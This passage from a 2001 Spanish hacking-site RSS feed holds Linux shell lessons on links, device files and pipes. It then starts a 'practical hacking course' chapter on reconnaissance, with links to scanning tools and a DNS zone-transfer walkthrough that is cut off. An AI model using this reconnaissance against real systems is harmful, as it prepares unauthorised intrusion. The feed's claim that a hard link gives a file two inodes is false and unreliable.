<p>En esa partición vacía, hay una o más zonas, en la que no podremos guardar nuestros datos, pues son para uso administrativo del sistema operativo, esa zona, se divide en partes o &#8220;cachitos&#8221;, llamados inodes, normalmente no suelen tener más de 100 octetos, aunque pueden ser de mayor tama$ntilde;o, dependiendo del sistema de ficheros.</p>
<p>Cuando creamos un fichero vacio, el sistema operativo, rellena de datos un inode, ¿y qué datos son esos?, el nombre del fichero, en qué sectores del disco duro están, su tamaño o longitud, la fecha de última modificación, etc.</p>
<p>Cuando escribimos datos en el fichero, el inode se actualiza, para reflejar los cambios.</p>
<p>Y ahora pregunto, ¿Qué impide que un fichero tenga dos inodes?, nada. El hecho de que un fichero tenga dos inodes, implica, el que está al mismo tiempo en dos sitios con dos nombres diferentes, o en un mismo directorio con dos nombres distintos.</p>
<p>Eso se llama hacer un enlace.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ ln /usr/bin/less ./paginador<br />
[genaro]$ ls -l paginador<br />
-rwxr-xr-x 2 root root 81236 Aug 28 1999 paginador<br />
[genaro]$ ls -l /usr/bin/less<br />
-rwxr-xr-x 2 root root 81236 Aug 28 1999 /usr/bin/less<br />
[genaro]$ _</td>
</tr>
</tbody>
</table>
<p>Fijaros en dos detalles, despues de los permisos, &#8220;-rwxr-xr-x&#8221; hay un número 2, donde antes había un &#8220;1&#8243;. Eso quiere decir, que ese número, es el número de inodes que tiene ese fichero. antes tenía un inode, y ahora uno.</p>
<p>¿Cual es el segundo detalle?, que el fichero &#8220;paginador&#8221; sigue perteneciendo a &#8220;root&#8221;, si no fuese así, sería un fallo de seguridad, pues para acceder a cualquier fichero, bastaría con hacer un enlace y podremos modificarlo a nuestro antojo.</p>
<p>Cuando usamos la orden rm para borrar un fichero, lo que hace es eliminar un inode, pero los demas inodes siguen existiendo, el fichero, bloque de datos del fichero, sólo se borra cuando no quedan más inodes.</p>
<p><strong>Tick:</strong> repito, cuidado con &#8220;&gt;&#8221;. Ver capítulo III</p>
<p>Es posible que al intentar hacer el enlace, aparezca un mensaje como el siguiente:</p>
<p>ln: no se puede crear un enlace duro de `./less&#8217; a `/usr/bin/less&#8217;: Enlace cruzado entre dispositivos no permitido.</p>
<p>Eso es debido a que se está intentando hacer un enlace a un sistema de ficheros diferente. Por ejemplo:</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ df<br />
Filesystem 1k-blocks Used Available Use% Mounted on<br />
/dev/hda7 606405 188388 386692 33% /<br />
/dev/hda1 23300 2655 19442 12% /boot<br />
/dev/hda9 1756260 820291 845204 49% /home<br />
/dev/hda8 1554262 655666 818273 44% /usr<br />
/dev/hda6 85520 16686 64418 21% /var<br />
[genaro]$ _</td>
</tr>
</tbody>
</table>
<p>Con la orden &#8220;df&#8221; vemos que particiones tenemos en el disco duro, nosotros estamos en el directorio &#8220;/home/genaro&#8221;, que está en la partición /dev/hda9 y la órden &#8220;less&#8221; está en el directorio &#8220;/usr/bin&#8221; que está en la partición /dev/hda8</p>
<p>A este tipo de enlace se le llama enlace duro. También se pueden hacer enlaces duros, aunque muchos unices no lo permiten, y en muchos sistemas operativos, sólo está permitido a &#8220;root&#8221; y está fuertemente desaconsejado, eso es debido a que muchas aplicaciones como las utilidades de backup, y todas aquellas que exploren el disco duro para hacer o buscar algo, podrían entrar en un bucle infinito, y terminarían fallando.</p>
<p>Otro tipo de enlaces, son los enlaces simbólicos, estos enlaces son de alguna forma similares a los accesos directos de Windows, o mejor dicho, los accesos directos de Windows son como los enlaces simbólicos de Unix.</p>
<p>Si haceis analizado alguna vez un acceso directo de Windows, en realidad es un fichero PIF, o sea, un fichero que contiene el nombre de otro fichero.</p>
<p>Los enlaces simbólicos son un fichero con el nombre de otro fichero, y tratado de forma especial por el sistema operativo para que lo trate como si fuera el fichero al que apunta.</p>
<p>Para crear un enlace simbólico</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ ln -s /usr/bin/less ./pag-simbolico<br />
[genaro]$ ls -l pag-simbolico<br />
lrwxrwxrwx 1 genaro users 13 Mar 22 00:24 pag-simbolico-&gt;/usr/bin/less<br />
[genaro]$ _</td>
</tr>
</tbody>
</table>
<p>Observe como el fichero tiene ahora la letra &#8220;l&#8221; como primer caracter, la &#8220;l&#8221; indica enlace simbólico.</p>
<p>Por último nos queda por ver los dispositivos controladores. Están todos en el directorio /dev</p>
<p>Existen dos tipos, de caracter y de bloque. Los dispositivos de bloque, tienen soporte de buffer y se accede mediante grandes bloques de datos al mismo tiempo, un ejemplo, son las particiones del disco duro, y el propio disco duro.</p>
<p>/dev/hda Primer disco duro IDE<br />
/dev/hda1 Primera partición del primer disco duro<br />
/dev/sdb Segundo disco SCSI</p>
<p>Si volcaramos con la órden cat un fichero a uno de estos ficheros, escribiríamos directamente a estos ficheros, y por lo tanto, machacaríamos algo, como la tabla de particiones, o el superbloque de una partición linux, o el arranque de un Windows. Por ese motivo, sólo &#8220;root&#8221; o programas con permisos de root, puede acceder a estos ficheros.</p>
<p>Los ficheros de caracter, como su nombre indica, se accede a ellos caracter a caracter.</p>
<p>/dev/modem por ejemplo, suele ser un enlace simbólico a un dispositivo de caracter</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ ls -l /dev/modem<br />
lrwxrwxrwx 1 root root 10 Dec 22 01:05 /dev/modem -&gt;/dev/ttyS1<br />
[genaro]$ ls -l /dev/ttyS1<br />
crw&#8212;&#8212;- 1 root tty 4, 65 Mar 21 22:11 /dev/ttyS1<br />
[genaro]$_</td>
</tr>
</tbody>
</table>
<p>Los programas que acceden al modem, lo hacen como si fuera un fichero convencional, (para los que conozcan el lenguaje &#8220;C&#8221; fopen(), fread(), fwrite(), fclose(), fprintf(), etc.).</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ tty<br />
/dev/tty2<br />
[genaro]$_</td>
</tr>
</tbody>
</table>
<p>La órden anterior, &#8220;tty&#8221;, nos dice cual es el controlador de dispositivo de nuestra sesión. /dev/tty</p>
<p>Si el usuario &#8220;root&#8221; estuviera conectado mediante un telnet, podría hacer una gamberrada tal y como</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[root] # echo &#8220;Tonto el que lo lea&#8221; &gt; /dev/tty2</td>
</tr>
</tbody>
</table>
<p>Y en mi pantalla aparecería ese mensaje.</p>
<p><strong>Tick:</strong> En las academias, donde todo el mundo consigue por ingeniería social el password de root, es muy posible que cuando la gente se aburre, no se pueda trabajar debido a que todo el mundo envíe mensajitos usando este método.</p>
<p>También es común gamberradas más gordas volcando ficheros de todo tipo.</p>
<p>Como ejercicio de la semana, os propongo a los que tengais tarjeta de sonido y micrófono, que grabeis un fichero de sonido desde el micrófono.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>cat /dev/audio &gt; grabación.raw</td>
</tr>
</tbody>
</table>
<p>Y posteriormente lo envieis a los altavoces</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>cat /grabacion.raw &gt; /dev/audio</td>
</tr>
</tbody>
</table>
<p>No me acuerdo como se cortaba la grabación, ¿control + &#8220;c&#8221;?</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-iv/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La Pantalla Negra III</title>
		<link>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-iii/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-iii/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:11:48 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[curso de linux]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[sistemas operativos]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=221</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: La pantalla negra III Autor: Lokutus Tema: Linux La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: La pantalla negra III<br />
Autor: Lokutus<br />
Tema: Linux</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>Y esta semana, con un poco de retraso, Mario bross, no, no vamos a jugar,vamos a tratar los pipes, o tuberías, y los filtros.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>Linux Debian (Potatoe)<br />
Login: genaro<br />
password:<br />
[genaro]$ _</td>
</tr>
</table>
<p>Para empezar, necesitamos crear algunos ficheros con datos, para ello podemos utizar un editor de textos, hay varios, el &quot;joe&quot;, el &quot;vi&quot;, el &quot;jed&quot;, y el &quot;emacs&quot; son cuatro de los más populares, el único del que hay garantia de que se puede encontrar en cualquier Unix es el vi, pero es un poco complejo de utilizar, así que vamos a crear un fichero a pelo.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ echo hola<br />
hola<br />
[genaro]$ _</td>
</tr>
</table>
<p>La órden echo, envía a &quot;salida estandar&quot; un mensaje, ¿Y qué eso de salida estandar? Veamos, cualquier aplicación de Unix/Linux, e incluso las aplicaciones de DOS, tienen tres ficheros abiertos, que utilizan para poder funcionar.</p>
<p>El primer fichero es de sólo lectura y se llama &quot;entrada estandar&quot;, representa normalmente al teclado, los programas leen a traves de este fichero todo lo que escribimos. Normalmente se conoce a este fichero como stdin.</p>
<p>El segundo fichero es de sólo escritura, y se llama &quot;salida estandar&quot;, y representa la salida de nuestro programa, cuando un programa quiere escribir algo en la pantalla, lo que hace es escribir en este fichero.</p>
<p>El tercer fichero, se llama &quot;error estandar&quot;, es también de sólo escritura, es similar al anterior, y se usa para imprimir mensajes de error.</p>
<p>He dicho, que la salida estandar representa la pantalla y la entrada estandar, representa el teclado, pero eso no tiene por que ser siempre así. Podemos cambiar la salida estandar de un programa con el operador &quot;&gt;&quot;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ echo hola &gt; fichero.txt<br />
[genaro]$ _</td>
</tr>
</table>
<p>No hemos visto la salida de echo por la pantalla, la salida ha sido redirigida al fichero &quot;fichero.txt&quot;.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro] ls<br />
fichero.txt<br />
[genaro] _</td>
</tr>
</table>
<p>Si queremos ver el contenido de ese fichero usamos la orden &quot;cat&quot;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro] cat fichero.txt<br />
hola<br />
[genaro] _</td>
</tr>
</table>
<p>¿Y como podemos añadir más líneas al fichero?, vamos a intentarlo.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ echo linea2 &gt; fichero.txt ; cat fichero.txt<br />
linea2<br />
[genaro]$ _</td>
</tr>
</table>
<p>Recordemos que se pueden meter dos órdenes en una sóla línea si las separamos con un punto y coma.</p>
<p>¿Qué ha pasado?, se ha machacado el archivo y contiene lo último que hemos escrito. Para que no se sobreescriba utilizamos el símbolo &quot;&gt;&gt;&quot;.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ echo linea1 &gt; fichero.txt<br />
[genaro]$ echo linea2 &gt;&gt; fichero.txt<br />
[genaro]$ echo linea3 &gt;&gt; fichero.txt<br />
[genaro]$ cat fichero.txt<br />
linea1<br />
linea2<br />
linea3<br />
[genaro]$ _</td>
</tr>
</table>
<p>Cualquier cosa que envíe cosas a pantalla usando la salida estandar puede ser redirigido, por ejemplo la órden &quot;ls&quot;, o incluso la orden &quot;cat&quot;.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ cat fichero1.txt &gt;&gt; fichero2.txt<br />
[genaro]$ ls<br />
fichero1.txt fichero2.txt<br />
[genaro]$ _</td>
</tr>
</table>
<p>En este caso como fichero2.txt no existía, lo crea nuevo, y en este caso hemos copiado el fichero, ambos tienen el mismo contenido.</p>
<p><b>TIP 1:</b> Cuidado con el operador &quot;&gt;&quot;, puede machacar documentos, pues siempre los crea nuevos.</p>
<p>¿Qué utilidades podemos encontrar redirigiendo la salida estandar?, veamos:</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ ls -l /usr/bin</td>
</tr>
</table>
<p>Salen un montón de ficheros y no dá tiempo a verlos.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ ls -l /usr/bin &gt; fichero3.txt<br />
[genaro]$ _</td>
</tr>
</table>
<p><b>TIP 2:</b> En lugar de teclear de nuevo &quot;ls -l /usr/bin&quot; podemos recuperar las órdenes anteriores con las flechas de cursor y editarlas a nuestra conveniencia. En este caso con pulsar la flecha arriba una vez, aparece &quot;ls -l /usr/bin&quot; y sólo tenemos que añadir &quot; &gt; fichero3.txt</p>
<p>Si usamos la órden cat, para visualizar fichero3.txt, estamos en las mismas, no nos da tiempo a ver nada, usaremos mejor la órden &quot;more&quot;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ more fichero3.txt</p>
<p>muchas lineas</p>
<p>&#8211;more&#8211;(12%)</td>
</tr>
</table>
<p>Vemos como en esta ocasión. cuando se acaba la pantalla, la salida se para, si pulsamos el retorno de carro, avanzamos una línea, si pulsamos la barra espaciadora, avanzamos una página entera. Salimos del paginador &quot;more&quot; cuando se acaba el documento a visualizar, o bién cuando pulsamos la tecla &quot;q&quot;. En linux hay otro paginador mejor que &quot;more&quot;, se llama &quot;less&quot;, permite avanzar y retroceder por el texto usando las tecla del cursor.</p>
<p>Vamos a probarlo un poco.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ cd /usr/doc/FAQ<br />
[FAQ]$ _</td>
</tr>
</table>
<p>¿Os acordais de los famosos FAQ y los HowTo de Linux de los que muchos hablan, pues están aqui, en este directorio, &#8230;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[FAQ]$ ls -l<br />
drwxr-xr-x 5 root root 1024 Dec 22 01:46 ./<br />
drwxr-xr-x 198 root root 5120 Dec 22 01:46 ../<br />
drwxr-xr-x 2 root root 2084 Dec 22 01:46 html/<br />
drwxr-xr-x 2 root root 1024 Dec 22 01:46 ps/<br />
drwxr-xr-x 2 root root 1024 Dec 22 01:46 txt/<br />
[FAQ]$ _</td>
</tr>
</table>
<p>Vemos que hay un directorio para html, (hará falta un navegador web, como el lynx), otro para documentos que están en postscript y otro para ficheros ASCII planos. Un fichero ASCII plano, es un fichero de texto, que no tiene formato, como los que hemos creado hace poco.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[FAQ]$ cd txt<br />
[txt] less Linux-FAQ</td>
</tr>
</table>
<p>Para volver a nuestro directorio, usamos</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[txt] cd $HOME<br />
[genaro] _</td>
</tr>
</table>
<p>HOME es una variable de entorno que contiene nuestro directorio de trabajo, se verán en otro capitulo.</p>
<p>Hasta ahora, hemos visto que podemos guardar la salida estandar de un programa en un fichero, y luego, ver cómodamente esa salida estandar con un paginador, como puede ser &quot;less&quot;. Pero eso es un poco incómodo, pues podemos llenar el disco duro de ficheros innecesarios, ¿como podemos evitarnos ese paso? Con ayuda de una &quot;tubería&quot;, ya era hora que comenzara a hablar de lo que trata este capítulo. Para utilizar una tubería, se utiliza el operador pipe y es este &quot;|&quot;, la barra vertical que se consigue pulsando tecla &quot;1&quot; con la tecla &quot;AltGr&quot;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ ls -l /etc/bin | less</td>
</tr>
</table>
<p>Ya podemos ver tranquilamente en la pantalla qué ficheros tenemos en el directorio /etc/bin Para hacerlo más divertido, con la órden tree, podemos obtener un listado de los directorios existentes a partir de un directorio en forma de árbol.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ tree -d /usr | less</td>
</tr>
</table>
<p>Si lo usamos con la opción -a, muestra todo, incluidos los ficheros. Existen otros filtros que se pueden usar con una tubería, uno de los más conocidos es el filtro &quot;sort&quot;, que ordena alfabéticamente la entrada estandar. Cuando redireccionamos la &quot;salida estandar&quot; a un fichero, si se produce un error en el programa, el mensaje de error no se imprime en el fichero, si no que se vuelca a la pantalla. Esto es debido a que los mensajes de error se imprimen usando &quot;error estandar&quot;, &quot;stderr&quot;. Para redireccionar el error estandar.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ cc programa.c -o programa 2&gt;errores.txt</td>
</tr>
</table>
<p>La órden cc, sirve para compilar programas que están escritos en lenguaje &quot;C&quot; y &quot;C++&quot;, en el ejemplo, los errores de compilación se enviarán al fichero &quot;errores.txt&quot;. Y por último &#8230;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ exit</p>
<p>Linux Debian (Potatoe)<br />
Login: genaro<br />
password:<br />
[genaro]$ _</td>
</tr>
</table>
<p>Hoy hemos visto:</p>
<li>- Crear ficheros con contenido.</li>
<li>- Ver ficheros.</li>
<li>- Concepto de entrada estandar, salida estandar y error estandar,</li>
<li>- Redireccionamiento de salida estandar y error estandar.</li>
<li>- Tuberías.</li>
<p>La próxima semana, o sea dentro de pocos días, me extenderé en el tema de los ficheros.</p>
<p>Lokutus, asimilando la red.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-iii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Curso práctico de hacking (CPH) II</title>
		<link>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-ii/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-ii/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:10:49 +0000</pubDate>
		<dc:creator>Lecter</dc:creator>
				<category><![CDATA[Acceso a las cosas remotas]]></category>
		<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[axfr]]></category>
		<category><![CDATA[cortafuegos]]></category>
		<category><![CDATA[cph]]></category>
		<category><![CDATA[curso de hacking]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[escanear]]></category>
		<category><![CDATA[escaner]]></category>
		<category><![CDATA[finger]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[fping]]></category>
		<category><![CDATA[George Kutz]]></category>
		<category><![CDATA[hackeando]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacking exposed]]></category>
		<category><![CDATA[host]]></category>
		<category><![CDATA[hping]]></category>
		<category><![CDATA[icmp]]></category>
		<category><![CDATA[lecter]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[netcat]]></category>
		<category><![CDATA[nfs]]></category>
		<category><![CDATA[nis]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[nslookup]]></category>
		<category><![CDATA[ping]]></category>
		<category><![CDATA[queso]]></category>
		<category><![CDATA[rpc]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[scanner]]></category>
		<category><![CDATA[showmount]]></category>
		<category><![CDATA[Stuart McClure]]></category>
		<category><![CDATA[traceroute]]></category>
		<category><![CDATA[transferencia de zona]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[whois]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=204</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Curso práctico de hacking II Autor: Lecter Tema: Acceso a las cosas remotas La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Curso práctico de hacking II<br />
Autor: Lecter<br />
Tema: Acceso a las cosas remotas</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>CURSO PRACTICO DE HACKING&#8211;2a entrega</p>
<p>Queridos compañeros (exploradores y novatos con ganas de aprender):</p>
<p>Como os  prometi aqui teneis el  segundo capitulo del  CPH, que espero<br />
que  pueda serviros  a abrir  la  brecha del  estudio autodidacta  con<br />
algunos  consejillos y  notas.  Antes de  comenzar  con este  capitulo<br />
quiero recalcar que el objetivo de este &#8220;seminario&#8221; de hacking intenta<br />
ilustrar los modos de conseguir introducirnos en una maquina unix cuya<br />
seguridad ha sido comprometida,  generalmente por una mala gestion del<br />
administrador,  que muchas  veces pasa  olimpicamente del  sistema que<br />
debe cuidar  como Cancerbero.  En ningun caso  he querido  arrastrar a<br />
nadie  al empleo de  este conocimiento  para oscuros  propositos, sino<br />
para impulsar  a los estudiantes novatos  a llevar los  sistemas a sus<br />
ultimas  posibilidades  y  no  como  meros  usuarios  finales.Asi  que<br />
=A1abstenerse los lamers!</p>
<p>En este sentido, ha salido este  mes en la revista @rroba un excelente<br />
articulo de  Carlos Sanchez Almeida  titulado &#8220;Hackers de  plastico&#8221; y<br />
aunque corto  merece la pena que lo  leais. Al igual que  a finales de<br />
los setenta se  acuñaba el termino &#8220;punkies de  plastico&#8221; para señalar<br />
que debajo de la mascarada de tachuelas y cuero, aquellos punkies eran<br />
tan burgueses como sus papis, los hackers de plastico son aquellos que<br />
se  han erigido  como arquetipo  de la  revolucion moderna:  el hacker<br />
televisivo, cruce de Neo y el  padre Apeles. Pero ya sabeis: con lo de<br />
hacker  ocurre  lo   mismo  que  con  quienes  se   dicen  rosacruz  o<br />
sufi&#8230;Ciertamente no lo son. Un  hacker de verdad &#8220;jamas se colocaria<br />
un piercing para aparentar: lo  unico que agujerean es el sistema&#8221;. El<br />
hacking es un camino duro y dificil, &#8220;que implica muchas renuncias. La<br />
primera y  la mas  importante es la  que diferencia  verdaderamente al<br />
hacker del lamer: la renuncia al ego&#8230;&#8221;</p>
<p>Y  ahora vamos  con nuestro  asunto. Antes  de entrar  de lleno  en el<br />
capitulo 2 quiero aclarar algo  a los estudiantes del primer capitulo:<br />
Las  utilidades whois, traceroute,  host, ping  y nslookup  las debeis<br />
tener  en cualquier  sistema linux  que  monteis. Las  podeis usar  en<br />
consola  o en un  xterm. Algunas  como traceroute  hay que  usarlas en<br />
ciertas distros linux como root, pero en otras no. Evidentemente antes<br />
habreis de conectaros <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  y si  sois novatillos el paquete kppp de KDE<br />
se parece  muchisimo al procedimiento  de conexion telefonica  a redes<br />
del Windoze. Una  vez conectados podeis abrir xterms  en el escritorio<br />
KDE o pasaros  con Alt-Ctrl-Fx a una consola  (Volvereis al escritorio<br />
con  Alt-Ctrl-F7).  Otras  utilidades   teneis  que  buscarlas  en  la<br />
red.  Para ello  basta con  <a href="http://www.altavista.com">www.altavista.com</a> y  <a href="http://www.alltheweb.com">www.alltheweb.com</a> que<br />
contiene un buscador FAST FTP y  WEB y una dosis minima de ingenio. De<br />
todos modos os dire donde podeis descargar las herramientas:</p>
<p>-fping en <a href="http://www.stanford.edu/~schemers/docs/fping/fping.html">www.stanford.edu/~schemers/docs/fping/fping.html</a><br />
-nmap en <a href="http://www.insecure.org/nmap/">www.insecure.org/nmap/</a><br />
-netcat en <a href="http://www.l0pht.com/~weld/netcat/">www.l0pht.com/~weld/netcat/</a><br />
-queso en <a href="ftp://ftp.connect.net/pub/security/trinux/netmap/">ftp.connect.net/pub/security/trinux/netmap/</a></p>
<p>Espero que continueis en la brecha</p>
<p>Saludos,</p>
<p>LECTER</p>
<p>CPH. CAPITULO 2. EXTRACCION DE INFORMACION CRITICA DEL OBJETIVO</p>
<p>En este  capitulo nos vamos a  centrar en la  obtencion de informacion<br />
critica  que  luego  podra  ser  explotada para  introducirnos  en  el<br />
sistema. La informacion critica se basa siempre en algun compromiso en<br />
la  seguridad  de  un  servicio,  un  bug  (fallo)  de  algun  comando<br />
relacionado con los servicios, etc. Para este capitulo me he basado en<br />
un   libro  muy   util   que  acaba   de   salir  al   mercado:Hacking<br />
exposed;network  security secrets  and solutions,  de  Stuart McClure,<br />
George Kutz y otro mas (ya esta en español).</p>
<p>1)Informacion  critica obtenida  mediante &#8220;transferencia  de  zona&#8221; de<br />
servidores DNS  mal configurados.   Algunas veces nos  encontramos con<br />
servidores  DNS   configurados  de   manera  insegura  y   que  pueden<br />
permitirnos entrar  en la  llamada zona de  transferencia de  DNS, aun<br />
siendo  usuarios  de   internet  no  autorizados.  Podemos  intentarlo<br />
utilizando la instruccion nslookup en modo interactivo:</p>
<p>$&gt;nslookup</p>
<p>=2E..a continuacion aparecera el servidor  DNS por defecto que sera el<br />
de  nuestro ISP  u organizacion&#8230;pero  como queremos  consultar otro,<br />
